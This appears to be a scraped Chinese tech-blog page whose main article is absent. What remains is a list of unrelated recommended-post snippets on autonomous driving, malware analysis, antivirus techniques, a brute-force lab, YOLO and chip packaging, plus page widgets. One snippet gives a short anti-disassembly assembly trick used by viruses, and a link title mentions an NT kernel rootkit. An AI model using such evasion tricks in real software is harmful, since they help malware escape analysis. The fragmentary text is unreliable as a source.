本专题由深圳季连AIgraphX李博及团队出品,主要讲解ACC自适应巡航控制系统的开发与仿真测试。具体说来,包括ACC标准/法规分析、系统需求、系统架构、软件需求、软件架构、算法建模、验证场景分析、仿真实验搭建等内容。 本节主要讲ACC系统需求。

AIgraphX 1090

计算机病毒——混合数据防反汇编

计算机病毒——混合数据防反汇编混合数据防反汇编 混合数据防反汇编 这个内容很简单,直接上代码 jmp Next db 8Bh Next: ;其余代码 这样运行正常,但反汇编很可能把db 8Bh 算入指令,导致后面反汇编结果全部错误 ...

qq_39721774的博客 253

城市NOA加速落地,BEV+Transformer引领自动驾驶感知新范式

数据闭环能力的建立,不仅依赖于数据规模,还依赖于数据的筛选、回传、标注、训练、验证与再部署,数据之于自动驾驶的价值再被印证的同时,也将推动自动驾驶迈向更为高阶的智能化时代。6月份,理想汽车向早鸟用户推送了首个不依赖高精地图的城市NOA。而特斯拉推出的基于BEV+Transformer的自动驾驶感知路线,可将2D图像转化为BEV鸟瞰图视角下的3D图像,并基于更庞大、更复杂、参数更多的感知算法模块,利用Transformer的注意力机制,将各个传感器统一到同一个连续的四维(三维空间+一维时间)时空中。

manfukeji的博客 1398

病毒的本质

一,病毒神话我们先看看让大家“兴奋”、“激动”的病毒技术。1,CIH,简直成了神话,CIH的作者也成为无数人的偶像。这神话,是AVer吹出来的,这偶像,只是中国人盲目崇拜的延续,外国人没这臭毛病。看看这个病毒里究竟有什么?1K多点的代码,再厉害能有什么?我觉得这个病毒唯一比较好的地方就是它的非常优化。这种优化,其实说白了也不难,只要稍微有些汇编编程经验,再加上一部指令手册(至少要有指令长度),再有

箫箫博客 1368

pikachu靶场: 暴力破解第四关(token防爆破)

Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个 Token 同时将此 Token 返回给客户端。此外,Token 是有时效的,一段时间之后或下一次请求时用户需要重新验证。

X_shiguang的博客 1720

符合DO-178C和DO-331的机载软件研制体系

DO-178C的核心要求软件开发生命周期:DO-178C定义了软件开发的生命周期过程,包括需求获取、设计、实现、验证和确认等。它为机载软件开发提供了一套系统化的指导,确保在开发过程中考虑安全性和可靠性。安全等级(DAL):根据系统的重要性,DO-178C将软件划分为不同的开发保障等级(DAL A到E),DAL A的要求最为严格,适用于关键安全功能,而DAL E的要求较低,适用于非关键功能。DO-178C在非基于模型软件开发中的应用。

qq_41854911的博客 980

反病毒技术

反计算机病毒做为计算机安全问题的一个重要组成部分已日益受到人们的重视。本文将对当今先进的病毒/反病毒技术做全面而细致的介绍,重点当然放在了反病毒上,特别是虚拟机和实时监控技术。 在论文中我将首先介绍几种当今较为流行的病毒技术,包括获取系统核心态特权级,驻留,截获系统操作,变形和加密等。然后我将分五节详细讨论虚拟机技术:第一节简单介绍一下虚拟机的概论;第二节介绍加密变形病毒,我会分析两个著名变形病毒的解密子;第三节是虚拟机实现技术详解,其中会对两种不同方案进行比较,同时将剖析一个查毒用虚拟机的总体控制结构;第

2401_88752684的博客 1264

YOLOv13安装教程 手把手教你融合空间注意力机制(SAB)的RAB卷积模块 自动“聚焦”重要的特征 map指标提升8.96,准确率提升3.56

本文提出了一种改进的YOLOv13目标检测模型,通过引入RAB(残差注意力模块)显著提升了检测性能。实验结果显示,添加RAB模块后,mAP指标提升了8.96,准确率提高了3.56%。文章详细介绍了RAB模块的实现方法:1)采用多级残差连接增强特征提取能力;2)结合空间注意力机制(SAB)自动聚焦关键区域;3)通过1×1卷积实现通道维度压缩与恢复。同时提供了完整的模型移植方案,包括配置文件修改、任务处理代码调整以及模块实现细节,为YOLO系列模型的性能优化提供了有效参考。

FJN110的博客 647

恶意软件分析实战指南:从病毒木马识别到逆向工程与防御策略

恶意软件分析是网络安全领域的核心技能,其本质是通过静态与动态技术手段,对可疑程序进行深度剖析,以理解其行为、意图与机制。从技术原理看,分析过程涉及文件格式解析、系统行为监控、网络流量捕获及代码逆向工程,旨在实现威胁鉴定、行为理解与对策制定。这项技术的价值在于能将抽象的威胁转化为具体的可行动情报,为构建主动防御体系提供关键输入。在实际应用场景中,无论是应对伪装成系统更新的钓鱼攻击,还是分析潜伏在服务器中的WebShell后门,恶意软件分析方法论都至关重要。例如,针对常见的“Windows Update病毒”或

cunfuteng7334的博客 536

大厂面试:字节跳动大数据面试题及参考答案(10万字长文及多张原理图持续更新)

在 Spark 中,宽窄依赖是用来描述 RDD(弹性分布式数据集)之间的依赖关系的概念。窄依赖是指父 RDD 的每个分区最多被一个子 RDD 的分区使用,即子 RDD 的分区可以通过确定的规则从父 RDD 的分区计算得到,并且不需要跨节点进行数据传输。窄依赖通常可以在一个节点上进行计算,不需要进行数据的 shuffle 操作,因此性能较高。宽依赖是指父 RDD 的一个分区可能被多个子 RDD 的分区使用,即子 RDD 的分区需要通过跨节点的数据 shuffle 操作从父 RDD 的多个分区获取数据。

大模型大数据攻城狮的专栏 1652

先进封装类别分析与典型案例

当制程微缩逼近物理极限、单颗大芯片(reticle limit)面积受限于光罩尺寸,且逻辑、存储、射频、传感等功能无法用同一套工艺最经济地制造时,性能增益的来源从 "晶体管密度" 转向 "互连密度"。先进封装的本质,是在芯片外部用更短、更密、更宽的路径把多个裸 die(die)互连起来,换取更高带宽、更低延迟、更小体积和异构集成能力。行业通常按划分为 2D、2.5D、3D、扇出、SiP 五大谱系,Chiplet/UCIe 则是贯穿其上的设计方法论,玻璃基板、共封装光学(CPO)是正在成型的新分支。

0 37

【20252804 2025-2026-2 《网络攻防实践》实践八报告】

通过本次实验,我学会了恶意代码文件识别、脱壳及字符串提取的操作流程,学会使用IDA Pro对Crackme程序进行静态与动态分析,掌握了逆向分析的基础方法。同时,了解到了很多专业名词,例如IRC协议、僵尸网络、蠕虫,学会分析网络日志、识别攻击行为及安全漏洞。

wei_huanjihe的博客 391

【深度学习新浪潮】Token经济学深度解析:从AI“新智元”梗到产业核心,研究成果+标杆产品全拆解

在正式深入研究和产品分析前,必须先破除概念误区:行业内常说的Token经济学,并非单一概念,而是分为AI词元Token经济学和Web3通证Token经济学两大核心分支,二者底层逻辑、应用场景天差地别,也是大众最容易混淆的点。Token是AI时代的新大宗商品:黄仁勋将Token类比为工业时代的电力、石油,是AI时代的核心生产资料与基础计价单位,不再是单纯的技术单元,而是具备标准化、可计量、可交易、可分层的数字商品,其价值由算力消耗、推理效率、实际应用价值共同决定,而非虚拟炒作。Token五层定价模型。

专注:太空算力、AI infra、异构调度、大模型成本工程 686

《CISP》(九)计算环境安全

本系列是学习《CISP》中易混淆点的记录,文章顺序是按照教材讲解而定 目录一、操作系统安全1、标识与鉴别(1)Windows的身份标识与鉴别(2)Linux身份标识与鉴别2、访问控制3、权限管理4、信道保护5、安全审计 一、操作系统安全 1、标识与鉴别 (1)Windows的身份标识与鉴别 使用 SID安全标识符 在系统内部进行标记 Windows本地登录验证身份鉴别通过安全通道,将用户鉴别信息与预先存储的信息进行对比 Windows本地用户信息加密存储在注册表中,只有system账户才有权限进行访问 .

qq_43681877的博客 3372

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

恶意软件分析实战10-对抗反汇编Lab015-01.exe

这一篇是将关于恶意代码使用技术来对抗分析人员的反汇编器的。一进去就有问题: 为了更好的查看,打开机器码选项: 显然最call后边的地址是有问题的,这很明显不是地址。已经跑到内核空间去了(高2G)不可能是地址。虽然当前处在代码段,但是代码段内也是可以插入数据的。这个call指令是为了对抗反汇编而故意插入的字节 果然这么一看就顺眼了。 转成字符串 这样结果就出来了。 祝我的亲人,兄弟,朋友以及各位读博客的陌生人中秋快乐 (完) ...

輚至消亡 396

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

上一篇: msn messenger protocol详细分析
下一篇: 一个修改NT内核的真实RootKit
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值